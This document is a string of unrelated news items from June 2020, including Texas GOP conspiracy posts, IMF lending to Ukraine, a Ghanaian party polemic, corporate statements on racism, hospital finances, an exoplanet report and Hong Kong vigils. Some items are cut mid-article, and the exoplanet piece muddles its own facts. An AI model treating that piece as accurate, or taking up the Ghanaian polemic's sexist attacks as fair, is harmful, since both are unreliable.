Meanwhile, Republican Reps. Will Hurd of San Antonio and Chip Roy of Austin called for the resignation of Bexar County GOP Chairwoman Cynthia Brehm, who wrote that there is at the very least the possibility, that this was a filmed public execution of a black man by a white cop, with the purpose of creating racial tensions and driving a wedge in the growing group of anti deep state sentiment.

The Nueces County Republican chairman, Jim Kaelin, shared the same debunked conspiracy theory, which he said was sent to him from a state police investigator. Kaelins Facebook post said: You can draw your own conclusions, but this appears to have all the earmarks of George Soros. Please open your eyes!!!! Numerous people commented on the post in agreement.

Texas Land Commissioner George P. Bush, a Republican, tweeted Thursday that the chairs should resign.

I have said it before and I will say it again now: the GOP must not tolerate racism. Of any kind. At any time, Bush said. The appalling behavior by the four GOP County leaders must not stand. I urge them to do the honorable thing and step aside now.

Texas Democratic Party spokesman Abhi Rahman said Republicans must decide whether they want to be the party of racism and tinfoil hat conspiracy theories.

The onus falls on Gov. Greg Abbott and other Texas Republican leaders to put an immediate halt on racially hostile actions from within their own ranks, Rahman said in a statement. Failure to do so makes them complicit in the spread of bigoted conspiracies we are seeing promulgated amongst Texas Republicans.

jasper.scherer@chron.com
Echterling, 94, of Cedar Lake, will remember the men with whom he served who made it out safe with him. He will wonder what became of the small crew he served with, who never had contact with after the war. He will think about the others on the beach that day who were not so lucky.
Director of the IMF Communication Department Jerry Rice confirmed that the Fund's Executive Board will make a decision on a new standby arrangement for Ukraine on June 9, but the agreement details are still subject to discussion.

The agreement on the standby arrangement is, again, subject to discussion and approval by our Executive Board, as in all cases, and that Board discussion is expected on June 9th, Rice said at the IMF online press briefing on Thursday, an Ukrinform correspondent reports.

At the same time, he did not comment on the leak of the IMF-Ukraine memorandum in the media.

We never comment on leaked documents, but what I can tell you is that the IMF is a transparent institution, the IMF representative said.

In this regard, he emphasized that based on IMFs transparency policy, the agreement with Ukraine and all the accompanying documents and details would be published soon after the IMF Executive Board meeting scheduled for June 9.

This is what we do. We publish our agreements with countries, so that you can see them, the world can see them, Rice emphasized.

As reported, on May 21, the IMF and the Government of Ukraine reached a preliminary agreement to launch a new standby arrangement, which provides for the allocation of $5 billion and is designed for 18 months.

The Fund stressed that the arrangement would help Ukraine to effectively overcome the effects of the coronavirus crisis in the economy and health care sector.

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A Perth woman who ran down and killed a teenager and injured four of his friends after learning her younger siblings had been hurt in a school fight has been jailed for 8 years.

Aya Hishmeh, 23, killed Jacob Cummins, 17, on a Canning Vale street in December 2017 when her Nissan Skyline mounted the curb at 78km/h and ploughed through a group of teenage boys as they walked along a footpath.

The incident occurred after Hishmeh mistakenly believed her younger sister had been injured by members of the group at an earlier brawl outside McDonalds Livingston.

A Supreme Court trial in February found her not guilty of murder and four counts of attempted murder, but guilty of the lesser charges of manslaughter, three grievous bodily harm offences and a bodily harm offence.
The co-founder of a Sydney "sect" has lost her court case against NSW Police over an allegation her "cult leader" partner took his own life because officers maliciously sent him a letter which caused psychological harm.

Janice Rita Hamilton, 71, co-founded personal development organisation Kenja with her de facto partner Ken Dyers in 1982. The group has been branded a cult, which its members deny.

Ken Dyers (left) pictured with his partner Jan Hamilton outside court in 2006. Credit:Lisa Wiltse

In 2007, Mr Dyers was yet to face trial on 22 offences, relating to alleged assaults on two underage girls during Kenja counselling sessions, when a third complainant came forward.

The girl had previously denied being abused, but approached police after she left Kenja. She alleged Mr Dyers told her when she was about 12 or 13 she had "sexual degradation in her energy field" and she would be a "psychic slut" if he did not clear a spirit from her by touching her while she was naked.
This is the first time in the history of Ghana that the notion of a woman being soft, compassionate, peace loving and promoter of unity has been dispelled by the crass incompetence and war mongering nature of the Jean Mensah- Bossman Asare led Electoral Commission (EC) of Ghana who seems to have planned and carefully executing a plan to plunge this country into electoral chaos if she is not stopped. She seems to enjoy every bit of it. Her posture and demeanor confirm it.

She began with lies on a decision taken based on findings of a technical report that never saw the light of day. The Jean Mensah- Bossman Asare led EC has reduced the EC to an "honest deceptive" institution. They have consistently told the public that the technical report based on which they have decided to compile a new voters register was given to members of IPAC which is a lie because no such document has been given to political parties. Non that I am aware of.

Breaking up IPAC and disregarding long standing conventions since 1994 is a sign of her ill intentions and bad faith. Her gross disrespect and contempt for parties whose contributions at IPAC are the reasons for the solid electoral reforms since 1994 is nauseating. Everything she has touched since becoming Electoral Commission (EC) chair turns to dust. Nothing she does has the touch of a woman.

Her double faced nature is actually rare and intriguing. Like a chameleon, she says one thing today and then comes with a different story the following day. She has lied about the data being obsolete because the BVR and BVD are out of date. A system which the EC says is 99.6% credible and the 4% error margin is well within international standards. A system which has delivered 5 successful national elections has suddenly become obsolete and needs to be replaced with over $150m in a time where citizens of Ghana are unemployed coupled with the hard living conditions, targeted collapse of businesses, the Covid 19 and all she thinks about is a new voters register. This has since bred mistrust and deepen political tension in this unusual times.

IPRANs position since the ECs decision for a new voters register has been that the timing is wrong and rightly so while disregarding ECOWAS protocols on compiling a register during an election year. Hard-headed and refusing to listen to reason, throwing away previously established, tried and tested conventions, electoral procedures and timelines for electoral activities has not only exposed her incompetence but her evil nature as opposed to her role at the IEA. Indeed power has revealed her true nature. What happened to the electoral reforms of 2013 which all stakeholders of Ghanas electoral processes met under one roof and made sterling contributions to? The recommendations in this document were clear. Some of which indicated that the 2012 biometric register should only be revised and updated etc. A program that Jean Mensah put together at Koforidua and funded by organisation, the IEA. She has since thrown away that document and has refused to be guided by a document that she put together with stakeholders of Ghanas electoral process in the spirit of deepening our democracy and preventing future events the like of which she is championing today as the EC chairman. Where is that integrity?

The media has not functioned very properly as the fourth arm of government in checking the excesses of the commission. Even in the face of hard facts, evidence. It seems to corroborate the rumour that the media is probably in the pocket of the power that has given Jean Mensah the audacity to lead this country on this dangerous path that the EC has decided to travel. Atop of it, even in the fit of Covid 19, she still puts illogical activities over human lives. This has gone beyond lies. Nature is against her. Force majeure has proven to be an obstacle that will not allow her illogical plans to come to fruition.

In all these hue and cry; the demonstrations, several press conferences and community engagements to draw the attention of discerning Ghanaians to the dangerous path that the Jean Mensah led EC is threading on, what baffles me is the silence of the morale society; the peace council, Eminent Advisory committee, so called upright men and women who hitherto were very vocal and championing the fight against hardship and inequality under the erstwhile government but has suddenly lost their tongues in circumstance of human right violations and possible threats of civil unrest that may change the course of Ghanas political history. We have closed that chapter of our history and we will give anything not to experience it again. That is why the Inter-Party Resistance against the Compilation of a New Voters Register will give every pint of blood to fight against this.

Jean Mensah has succeeded in eroding the trust, integrity and transparency that are the core values of the Electoral Commission. Lets not forget that the deputy EC, Dr. Bossman Asare is a known patron of the NPP Legon branch. Does this not mare the very core value of transparency and make waste the Integrity of the Electoral Commission (EC)?

What kind of a public servant tasked with a very sensitive office that can determine the future of this country beyond 2020 disrespectfully disregard the advice of former presidents, the National House of Chiefs, CSOs, political parties etc. It will be cowardice on the part of other important institutions who hitherto were so called civil messiahs to sit aloof and not join this crusade. We must speak out against intimidation, abuse of power and causing unnecessary financial loss to the state. In fact, I am pleading on the Eminent Advisory committee put together by Jean Mensah who besieged IPRAN to put our trust in them, and whom the same EC has refused to listen to, to speak up for they have been quiet for too long.

The most dangerous thing is going a step further to disenfranchise not only the strong holds of opposition parties but the exercise if allowed will disenfranchise 12million Ghanaians by denying them the use of the ECs own Voter ID as a primary identification document. An ID which was used in five national elections. The inalienable rights of 12milliion Ghanaians enshrined in the 1992 constitution and in the citizens act, 2000 (Act 591) will contravened. This a recipe for disaster as these citizens will not take lightly the attempt to tell them they are not Ghanaians just because they are not privileged to possess a passport or an NIA card. This will fan the flames that will spark a lot of altercations and plunge this country from the most peaceful country in Africa to something else.

The Electoral Commission is literally beating war drums. The activities of the EC is like the mouse. When you eat without washing your hands properly and you go to bed with it at night, the mouse can eat off the fore skin on your fingers such that you will not feel the pain until you wake up in the morning then you will feel your fingers on fire. What happens after is the case of an Arab spring.

Jean Mensah must resign to save herself from shame and the ICC in future for her wanton and crass incompetence and warmongering character- can exorcise Satan from the lives of ardent and unrepentant sinners, and save us all the pain of possible Ivory Coast, Sierra-Leone, Liberia, the America (Black lives matter) etc.

And like the national anthem of Ghana implores us to "resist oppressors rule. I assure the Jean Mensah-Bossman Asare led EC that we will resist this attempt to deny 12million Ghanaians their constitutional rights with our blood and sweat.

God bless our homeland Ghana and make us great and strong.

Cde. Chief Bukari Kuoru.

General Secretary (Ag.), UPP.

0541040419.
LOS ANGELES, June 5, 2020 /PRNewswire/ -- Farmers Insurance joins the nation in mourning the senseless deaths of George Floyd and countless other black Americans. As we continue to reel from the latest tragic acts of violence, the leadership team at Farmers Insurance is committed to enacting meaningful and sustainable change to better live our organization's values and positively impact the diverse communities we are proud to serve.

Today, Farmers Insurance Chief Executive Officer Jeff Dailey announced a series of commitments reinforcing the organization's values via workplace and corporate citizenship initiatives:

Mobilizing the Farmers  Black Professional Alliance (BPA), an Employee Resource Group (ERG), to help identify and elevate regular dialogue within senior leadership in an effort to continue listening, learning and finding tangible ways to show support for the black community.

Black Professional Alliance (BPA), an Employee Resource Group (ERG), to help identify and elevate regular dialogue within senior leadership in an effort to continue listening, learning and finding tangible ways to show support for the black community. Donating $250,000 to the Los Angeles Urban League, an organization committed to advancing equal opportunities on behalf of African Americans and other minority groups.

to the Los Angeles Urban League, an organization committed to advancing equal opportunities on behalf of African Americans and other minority groups. Reinforcing the organization's longstanding practice of encouraging employee volunteerism in their local communities, including supporting them with paid time outside of work to participate in safe, orchestrated efforts to rebuild neighborhoods.

"While we recognize the actions we take today will not heal centuries of pain and systemic oppression, we are guided by a commitment to do what's right and stand with our colleagues and communities in support of equality and civil rights," Dailey said. "I look forward to working with the Black Professionals Alliance and other employee resource groups at Farmers to ensure our actions remain a force for positive change. We have to do better, and we can."

"The Los Angeles Urban League is very grateful for this support from Farmers Insurance during this challenging period. With the help provided by Farmers Insurance through this grant, we will significantly increase the level of assistance we can offer to the underserved communities in Los Angeles," said Michael Lawson, President and CEO of the Los Angeles Urban League. "We want to applaud Farmers Insurance for taking this bold and meaningful action to assist the most vulnerable members of our community during these difficult times and we look forward to working with Famers Insurance to support existing programs and help to develop future programs that will benefit the communities that we serve."

About Farmers Insurance

"Farmers Insurance" and "Farmers" are tradenames for a group of insurers providing insurance for automobiles, homes and small businesses and a wide range of other insurance and financial services products. Farmers Insurance is proud to serve more than 5 million households with over 15 million individual policies nationally, through the efforts of more than 45,000 exclusive and independent agents and approximately 19,000 employees. Farmers Insurance Exchange, the largest of the three primary insurers that make up Farmers Insurance, is recognized as one of the largest U.S. companies on the 2020 Fortune 500 list.

For more information about Farmers Insurance, visit Farmers.com, Twitter and Instagram, @WeAreFarmers, or Facebook.com/FarmersInsurance.

About Los Angeles Urban League

Los Angeles Urban League (LAUL) serves, educates and empowers African Americans and other minorities to secure economic self-reliance and civil rights by providing targeted social programs and advocating for issues that benefit our communities. The Los Angeles Urban League, founded in 1921, is a flagship affiliate of the National Urban League, founded in New York City in 1910. It is one of almost 90 affiliates in the United States. The Los Angeles Urban League helps thousands of Angelenos annually through its programs focusing on education, entrepreneurship, job training and placement. Visit and follow Los Angeles Urban League at www.laul.org.

Contact: Ron Carter

Los Angeles Urban League

(323) 864-7092

[email protected]

SOURCE Los Angeles Urban League; Farmers Insurance

Related Links

https://www.laul.org


SAGINAW, MI  Carl Williams believes if change doesnt happen now, in the wake of nationwide protests following the death of George Floyd, it wont happen for another 50 years.

Williams, vice president of the Saginaw NAACP chapter, said he remembers the gruesome death of Emmet Till, a black teen lynched in Mississippi in the 1950s, and countless other situations. He also remembers what happened after those events: the anger, outrage, marches and protests.

Protests are again sweeping the United States after the death of Floyd, who died when a Minneapolis police officer kneeled on Floyds neck. Williams said he feels something is different this time, and it gives him hope.

I sense and I see something different in what is going on now," said Williams, who was attending an NAACP rally in Saginaw on Thursday, June 4.

I have seen over and over in my life, but I never sensed and saw what I see now in the latest tragedy that has happened. I havent seen the resistance that I see now. I have not seen the overall complexion, the makeup of the crowd that I see now, he said.

Williams joined Saginaw city and county leaders, local law enforcement and community members at the rally and call to action that was hosted by the NAACP in front of Saginaw City Hall, 1315 S. Washington Ave.

After several prayers from local pastors, local law enforcement outlined what changes they were going to make to police the community better.

Saginaw Police Chief Bob Ruth said a lot of change has happened at the police department over the years but much work still needs to be done.

Were not done. We need to make more now. One of the keys to this process is we started meeting years ago, said Ruth. We still meet and we still talk. We have dialogue. We talked about changes back then, we made the changes. We changed just about every policy in this department to make it more user friendly for the community.

Moving forward, the police department will review all policies, continue to meet and have dialogue with the community and organize a citizens advisory committee to review incidents that happen in the city, Ruth said.

Saginaw County Sheriff William Federspiel said his department will also be reviewing all policies.

The new Saginaw County Adult Detention Center is connected to a system called Lexipol, a national company that reviews circuit courts and decisions, which keeps policies up to date, according to Federspiel.

It allows us to train online a lot of the time to ensure that our officers know what the policy is so they cant go back later and say, I did this because I didnt know, Federspiel explained.

Buena Vista Police Chief Reggie Williams said hes spent most of his 25 years in law enforcement fighting for things to be right.

We do have officers that do their job, the way that their job is supposed to be done, Williams said. But as we all know, we have some that dont and it's up to the rest of us to understand how to approach those officers.

Williams said he expects the community to call the department out on their wrongdoings in order to hold them accountable.

I want my community to make sure my sons stay safe, within my community, Williams said.

Saginaw NAACP Chapter President Terry Pruitt called on white allies to help make change in the community.

Racism is very much a white problem, it is alive and well, Pruitt said. And all too often people with black and brown skin are the victims of racism and discrimination. To this point, we need white residents and leaders in our community to come to the table not only to have dialogue around the issue of race, but to make to transformational change in our community.

Community member Lisa Coney said she thinks the community is seeing the impact of the death of Floyd.

This is the time where change has to happen, Coney said. Its not time for discussion. Its not time for just come to the table and lets figure something out. Its time for change and I think that theyre (local law enforcement) on board with that now.

A trio of sisters, ages 7 to 16, attended the event. The eldest sister, Azaylia Dudley said the event was powerful and she was inspired to keep pushing forward.

When the cameras go away, we cant go away, we have to keep pushing forward, Dudley said.

Related news:

'Enough is enough: Hundreds march in Saginaw to demand justice for George Floyd

Police discuss tactics, diversity and George Floyds death with Saginaw community

Mandatory bias training for police passes Michigan Senate

Charging Ypsilanti woman punched by police serves no reasonable, useful purpose, ACLU says
London: What does the chair of the Australian Parliament's intelligence committee have in common with a German Greens MP, a former Japanese defence minister and a former Liberal Canadian attorney-general?

The answer is China.

Australian MPs, Liberal Andrew Hastie and Labor Senator Kimberley Kitching (top left) are co-chairing the Australian branch of the inter-parliamentary Alliance on China, formed by former UK Tory party leader Iain Duncan Smith (second left on the bottom).

A group of 19 MPs from eight countries and the European Parliament, representing a swathe of parties from across the political spectrum have announced a new international coalition of legislators who want their governments to take a tougher and collective stance towards China.

The founder of the group  former Tory party leader Iain Duncan Smith  said the business community should also take notice of the new international coalition of legislators, singling out HSBC bank for its "appalling" backing of China's new security law cracking down on Hong Kong.
Hospitals have a message for Oregonians.

If your knee needs repairing, your colon needs scoping or your tummy needs tucking, theyre open, safe and eager for your business.

The Oregon Association of Hospitals and Health Systems launched an ad campaign Wednesday to lure back patients scared off by the highly infectious coronavirus. The many empty beds have been devastating to hospitals finances.

The suspension of elective surgeries this spring cut hospital revenues by 40% or more. Business has improved since the peak of Oregons COVID-19 outbreak in March and April. But its nowhere near normal.

Even people in legitimate need of treatment from a hospital or emergency room are sucking it up and staying away.

How bad is it? So bad, that $422 million in federal assistance didnt make a dent, hospital officials insist. Thats how much 60-odd Oregon hospitals got out of the CARES Act economic stimulus bill that Congress passed in March.

Nationally, the federal government showered hospitals, clinics and even individual providers with $175 billion. But the industry claims it wasnt enough. The nations hospitals collectively lost about $500 billion in the first quarter, the industry claims.

Oregon hospitals got their share of the federal booty. But here, too, they claim they need more.

Earlier this spring, the hospitals asked for $200 million in state assistance. That hasnt materialized and it seems somewhat unlikely after this springs dismal budget forecast. But the hospitals arent giving up.

Many hospitals, particularly small rural institutions, were struggling before the pandemic. They complied with Gov. Kate Browns order to virtually shut down their normal operations and prepare for a tsunami of COVID-19 patients. That tsunami never came, as Oregon had a relatively mild outbreak compared to other states.

Some rural hospitals didnt have a single COVID-19 patient.

Doctors, nurses and other front-line workers were celebrated as heroes. But the positive PR did very little to attract new patients.

People are delaying checkups and vital care because they fear hospitals are either unsafe or overwhelmed. Neither of those things are true here in Oregon, said Becky Hultberg, president and CEO of the hospital trade group.

The cash grants came in several different rounds. The first chunk of money was the largest  more than $270 million. The checks ranged widely in size depending on the size of each organization.

At the top end, Providence Health & Services eight Oregon hospitals got a cumulative $57 million. Oregon Health & Science University got $34.3 million, the largest check to any one institution.

In contrast, Pioneer Hospital -- a 21-bed operation in Heppner -- got $388,000.

Some advocates of health care reform have criticized a public bailout of huge health systems that have billions of dollars in assets. The New York Times gave voice to those concerns in a May 25 story about Providence, the hospital chain that stretches from Alaska to West Texas. Though it has $25 billion in assets, more than 50 hospitals, an in-house venture capital operations and huge reserves, Providence got more than half-a-billion dollars in CARES Act bailout money.

But Providence has taken a beating this year. It lost $1.1 billion in the first quarter alone. On top of the revenue decline and higher expenses stemming from the pandemic, it suffered huge investment losses topping $700 million.
Keck School of Medicine researchers have identified a variant in the genome that may explain why multiple men in the same family develop the disease -- and could serve as a guide for screening

For years, researchers have known that men of African ancestry are at greater risk of developing prostate cancer with research suggesting that inherited factors may contribute to their greater risk.

Now, a new USC study published in European Urology is the first to identify an inherited genetic variant associated with higher risk of prostate cancer in men of African descent that contributes to the clustering of prostate cancer cases within families.

"About 12% of men of African ancestry carry this particular variant in the genome, which increases their risk two-fold. The variant is not found in other populations," said Christopher Haiman, ScD, study author and Professor of Preventive Medicine, Keck School of Medicine of USC. "But it's even more common in families with a history of prostate cancer."

African American men at higher risk

One in six African American men develops prostate cancer in his lifetime. African American men are 1.8 times more likely to be diagnosed with - and 2.2 times more likely to die from - prostate cancer than white men. If a black man's brother or father had prostate cancer, his risk will be even higher. But until now, there has been no genetic mutation or biomarker doctors could look for to determine if a particular African American man was more likely to get the disease.

While a prostate specific-antigen (PSA) blood test can detect prostate cancer, many of the cancers it detects may not cause harm, while treatment can cause life-altering side effects.

In the study, which is part of the RESPOND African American prostate cancer initiative, researchers looked at 9,052 prostate cancer cases among men of African ancestry. More than 23 percent had this specific genetic variant. The variant was strongly associated with a prostate cancer diagnosis at an earlier age, more aggressive disease, and men with a family history of prostate cancer. In fact 32 percent of the men with prostate cancer who had a family history of the disease carried the variant.

Variant could aid in screening and treatment decisons

This new information may eventually help clinicians identify men who could benefit from early prostate cancer screening and treatment.

"A man of African ancestry comes in and says, 'Well, I have prostate cancer and I have a family history of the disease. Why?.' Well, now there's a variant you can test to see if they and their family members carry it," said Haiman. "This is a marker that down the road may be used to identify African-Americans and their family members who are at high risk and would benefit from more precise, targeted, and earlier PSA screening."

Researchers believe this variant is one of the reasons why African American men are more likely to get prostate cancer and hope to find out more about the role genetic mutations play in their overall risk.

###

About this study

In addition to Haiman, the study's other authors include Burcu F. Darst, Peggy Wan, Xin Sheng, Sue A. Ingles, John Carpten, Mariana C. Stern, David V. Conti, Susan M. Gundell, Loreall Pooler and Lucy Xia of the Keck School of Medicine of USC; Jeannette T. Bensen and James L. Mohler of University of North Carolina at Chapel Hill; Benjamin A. Rybicki and Christine Neslund-Dudas of Henry Ford Hospital; Barbara Nemesure and Anselm J.M. Hennis of Stony Brook University; Esther M. John of Stanford University School of Medicine; Jay H. Fowke of The University of Tennessee Health Science Center; Victoria L. Stevens and Susan M. Gapstur of the American Cancer Society; Sonja I. Berndt, Meredith Yeager and Stephen J. Chanock of the National Cancer Institute, National Institute of Health; Chad D. Huff and Sara S. Strom, of the University of Texas MD Anderson Cancer Center; Jong Y. Park, Thomas A. Sellers and Kosj Yamoah of the Moffitt Cancer Center and Research Institute; Wei Zheng, Melinda C. Aldrich, Peter E. Clark and William J. Blot of the Vanderbilt University School of Medicine; Elaine A. Ostrander of the National Human Genome Research Institute, National Institutes of Health; Patrick C. Walsh and William B. Isaacs of the Johns Hopkins Hospital and Medical Institutions; Shiv Srivastava, Gyorgy Petrovics and Jennifer Cullen of the Uniformed Services University of the Health Sciences; Adam B. Murphy of Northwestern University; Maureen Sanderson of Meharry Medical College; Dana C. Crawford and William S. Bush of Case Western Reserve University; Olivier Cussenot and Geraldine Cancel-Tassin of CeRePP; Rick A. Kittles of the City of Hope Comprehensive Cancer Center; Jianfeng Xu of the NorthShore University HealthSystem; Zsofia Kote-Jarai, Koveela Govindasami and Rosalind A. Eeles of the Institute of Cancer Research; Anand P. Chokkalingam of the University of California, Berkeley; Luc Multigner, Florence Menegaux, Pascal Blanchet and Laurent Brureau of Inserm; Marie-Elise Parent of INRS-Institut Armand-Frappier; Adam S. Kibel of the Dana-Farber Cancer Institute; Eric A. Klein of the Cleveland Clinic; Phyllis J. Goodman and Janet L. Stanford of the Fred Hutchinson Cancer Research Center; Bettina F. Drake of the Washington University School of Medicine; Jennifer J. Hu of the University of Miami Miller School of Medicine; Graham Casey of the University of Virginia; Alexander Lubwama and Stephen Watya of the Makerere University College of Health Sciences; Ian M. Thompson Jr and Robin Leach of the University of Texas Health Science Center; Elizabeth T.H. Fontham and Diptasri Mandal of Louisiana State University Health Sciences Center; Gary J. Smith of the Roswell Park Cancer Institute; Jack A. Taylor of the National Institute of Environmental Health Services; Kathleen Cooney of Duke University of Medicine.

This study was supported the National Cancer Institute at the National Institutes of Health (grants U19 CA148537, U19 CA214253, R01 CA165862, and K99 CA246063). Dr. Burcu F. Darst was supported in part by an award from the Achievement Rewards for College Scientists Foundation Los Angeles Founder Chapter.




President Moon Jae-in has purchased a property in Yangsan, a rural city in the southeastern part of South Korea, for a private residence to live in after retiring in May 2022, Cheong Wa Dae confirmed Friday.







Moon and first lady Kim Jung-sook bought the 2,630.5-square-meter land, where a two-story house is located, for 1.06 billion won (US$870,000) at their own expense, according to presidential spokesman Kang Min-seok.







The region is situated near Tongdo Temple, a famous Buddhist temple in Yangsan, South Gyeongsang Province, around 380 kilometers southeast of Seoul. The mountain temple is listed as a UNESCO world heritage site.







Separately, the Presidential Security Service (PSS) acquired a 1,124-square-meter plot of land there for facilities for bodyguards under a law on providing security for former presidents.







Moon already has a private home in Maegok-dong of the same city, about a 30-minute drive from the new site.







He had expressed hope to spend his post-presidency life there.







But the PSS was against it, citing security concerns caused mainly by the limited space of the Maegok-dong area, Kang said.







"As the state agency has concluded that it is impossible to carry out its mission (if Moon lives in the Maegok-dong site), it was inevitable to change the plan," he told reporters.







Moon plans to sell his house in Maegok-dong.







Cheong Wa Dae's announcement came after relevant newspaper reports.







The spokesman said he is "a bit perplexed" to see the news on the president's private residence scheme at a time when the people are suffering due to the COVID-19 crisis.







He pointed out that it is rather early to talk about the matter in public, as the president has two more years in office.







However, Cheong Wa Dae decided to make it public in accordance with the principle of handling such an issue "transparently and strictly," he added. (Yonhap)


Pollution, coronavirus, government problems, riots, overpopulation, etc., Earth has a lot on its plate. If you've been thinking about changing planets and thought the idea's ridiculous, it is not anymore. On Thursday, June 4, scientists found an exoplanet that has similar qualities with Earth. It has the same star, but almost twice bigger than our planet.

Scientists found Earth 2.0

Astrophysicist Rene Heller of the Max Planck Institute for Solar System Research in Germany wants to know whether there are any planets out there that have the same qualities as Earth. To identify this, he and his team investigated the planets around Kepler-160.

Kepler-160 is a Super-Earth planet that orbits a G-type star. It is 3,000 light-years away from the Earth. Though it is far, scientists believe that this Super-Earth holds another exoplanet that nearly copies the qualities were sharing now on the planet.

The team published a study on Thursday, June 4, wherein it states that an exoplanet found along Kepler-160 can give new habitat for humans on the planet.

This exoplanet was described as KOI-456.04. According to their report, this exoplanet is "more than just another potentially habitable world," they also believed that the light coming from its star "is very much like the daylight seen on our home planet." KOI-456.04 also shares the same orbital period with Earth.

Unlike Earth, though, the exoplanet has a bigger size. Scientists said that "KOI-456.01 is relatively large compared to many other planets that are considered potentially habitable. But it's the combination of this less-than-double the size of the Earth planet and its solar-type host star that makes it so special and familiar."

Since KOI-456.04 already assures human's necessity for sunlight, another thing that it copies from Earth has possible liquid water on its surface. That means if you're going to transfer from Earth to KOI-456.04, living won't be a problem for humans.

Unfortunately, this is not as easy as you think it is.

We can't still be sure on KOI-456.04

Yes, scientists found very similar characteristics of KOI-456.04 to our planet. However, this doesn't mean that humans can just trip a rocket unto this exoplanet and live there forever.

Heller discussed that Kepler-160-- wherein the KOI-456.04 was located-- is too far away to be visited by humans. Aside from that, the scientists also said that they weren't yet 100% sure that this exoplanet can be scientifically called a planet at all.

"It cannot currently be ruled out completely that KOI-456.04 is in fact a statistical fluke or a systematic measurement error instead of a genuine planet," the institute said, though the team estimates there's an 85% chance it is indeed a planet.

Still, its good to have an option, right?

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
New Delhi:

The special category status debate for Andhra Pradesh once again sparked off a charged up environment in the AP State Assembly as a scuffle broke out between opposition YSR Congress legislators and marshals inside the Assembly earlier in the day.

The MLAs stormed the Speaker's podium for the second consecutive day demanding immediate discussion on the topic. Speaker Kodela Sivaprasada Rao cautioned the MLAs for their unruly behaviour and adjourned the proceedings for 10 minutes as the opposition protest grew vociferous.

The YSRC members, wearing black robes, took to stage as soon as the House met for the day's proceedings at 9 AM. They demanded that a discussion, through their adjournment motion, be immediately taken up on the issue of the special category status for the state.

Legislative Affairs Minister Yanamala Ramakrishnudu said the government on its own agreed to make a statement in the House on the announcement made by Union Finance Minister Arun Jaitley extending a special financial package to AP. "The Chief Minister was ready to make the statement yesterday but you did not allow it. As decided in the Business Advisory Committee meeting, we can have a discussion in the House only after the Chief Minister makes the statement," Yanamala said.

When YSRC MLA Peddireddi Ramachandra Reddy insisted on a discussion without the Chief Minister's statement, Yanamala shot back saying, "Lotus Pond (Jagan's residence-cum-YSRC headquarters) rules don't apply in this House." Following this, the YSRC legislators stormed the Speaker's podium and some of them tried to surround his chair like they did on September 8. However, the marshals were proactive to safeguard the situation, ready in anticipation of the situation and moved in to keep the protesting MLAs at bay.

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Police pepper-sprayed some Hong Kong protesters on Thursday who defied a ban to stage candlelight rallies in memory of China's bloody 1989 Tiananmen Square democracy crackdown, accusing Beijing of stifling their freedoms too.

Scuffles broke out briefly in the working-class Mong Kok area where hundreds had gathered and some demonstrators tried to set up roadblocks with metal barriers, prompting officers to use spray to disperse them, according to Reuters witnesses.

It was the first time there had been unrest during the annual Tiananmen vigil in Hong Kong, which police had prohibited this year citing the coronavirus crisis.

Several protesters were arrested, police said.

Earlier, a few thousand people joined a peaceful main rally in Victoria Park, many wearing masks and chanting slogans such as "Liberate Hong Kong, revolution of our time" and "Fight for freedom, stand with Hong Kong."

"We are just remembering those who died on June 4, the students who were killed. What have we done wrong? For 30 years we have come here peacefully and reasonably, once it's over it's 'sayonara' (goodbye)," said Kitty, a 70-year-old housewife.

The anniversary has struck an especially sensitive nerve in the former British-ruled city this year after China's move last month to impose national security legislation and the passage of a bill outlawing disrespect of China's national anthem.

It also comes as Chinese media and some Beijing officials voice support for protests in the United States against police brutality.

In Beijing, security around Tiananmen Square, a popular tourist attraction in the heart of the city, appeared to be tightened, with more police visible than on ordinary days.

June 4 commemorations are banned in mainland China.

In Hong Kong, which just reported its first locally transmitted coronavirus cases in weeks, police had said a mass gathering would undermine public health.

But many took to the streets to light candles and stand for a minute's silence. Seven Catholic churches opened their doors. Some people held photos of the 1989 events, including a famous one of a man standing in front of a tank convoy.

Millionaire publishing tycoon Jimmy Lai and Democratic Party founder Martin Lee, who were both arrested in April over protests last year, left a church service together.

"We are afraid this will be the last time we can have a ceremony but Hong Kongers will always remember what happened on June 4," said Brenda Hui, 24, in Mong Kok, with a white battery-illuminated umbrella that read "Never Forget June 4."

WESTERN SOLIDARITY

The European Union and United States both expressed solidarity with the Hong Kong demonstrators' desire to mark the Tiananmen anniversary.

Democratically-ruled and Beijing-claimed Taiwan, where more than 500 people gathered in Liberty Square, asked China to apologise, which the mainland called "nonsense."

"In China, every year has only 364 days; one day is forgotten," Taiwan President Tsai Ing-wen wrote on her Facebook page. "I hope that in every corner of the earth there won't be any days that are disappeared again. And I wish Hong Kong well."

China has never provided a full account of the 1989 violence. The death toll given by officials days later was about 300, most of them soldiers, but rights groups and witnesses say thousands of people may have perished.

There was no mention of the anniversary in Chinese state media. But Hu Xijin, editor of the Global Times, a nationalistic tabloid published by the ruling Communist Party's People's Daily, tweeted a screenshot of the U.S. statement with his own commentary.

"The Tiananmen incident gave Chinese society a political vaccine shot, which has enabled us to be immune to any colour revolution. 31 years later, riots emerged and spread in the US They only think of exporting it, but forget to prepare vaccine for themselves."

Hu did not elaborate. The term colour revolution is often used to describe peaceful uprisings in former Soviet states but has also been used to describe other popular movements.

In Hong Kong, officials have repeatedly said a ban on groups larger than eight is a public health measure with no political motivation.

Earlier on Thursday, some students in Hong Kong followed the annual tradition of repainting a Tiananmen memorial message on a university campus bridge: "Souls of martyrs shall forever linger despite the brutal massacre. Spark of democracy shall forever glow for the demise of evil."
Credit: CC0 Public Domain

Apple CEO said his company "must do more" to fight racism and promote diversity.

In a letter titled, "Speaking up on racism," published on Apple's website, Cook said the company will push initiatives such as bringing more technology to underserved school systems and speeding up progress on inclusion and diversity from within.

"To create change, we have to reexamine our own views and actions in light of a pain that is deeply felt but too often ignored," Cook wrote. "Issues of human dignity will not abide standing on the sidelines. To the Black communitywe see you. You matter and your lives matter."

Cook also said that while many people might want a return to a status quo, Americans must aim for a better future in the wake of the death of George Floyd, who died while in police custody in Minneapolis.

"With every breath we take, we must commit to being that change, and to creating a better, more just world for everyone," Cook wrote.

The first of three memorials for Floyd is scheduled for Thursday afternoon in Minneapolis.

Apple joins other tech companies, including Amazon, Google and Microsoft, releasing statements condemning racism and expressing support for the black community following Floyd's death.

However, the same tech giants have faced criticism for not employing a more diverse workforce. For example, at Apple, only 9% of its employees are black, according to its 2018 diversity data. In its 2020 annual diversity report, Google says 3.7% of its workforce is black. At Amazon, while more than 26% of its global workforce is black, at the managerial level, it's only 8.3%.

(c)2020 U.S. Today

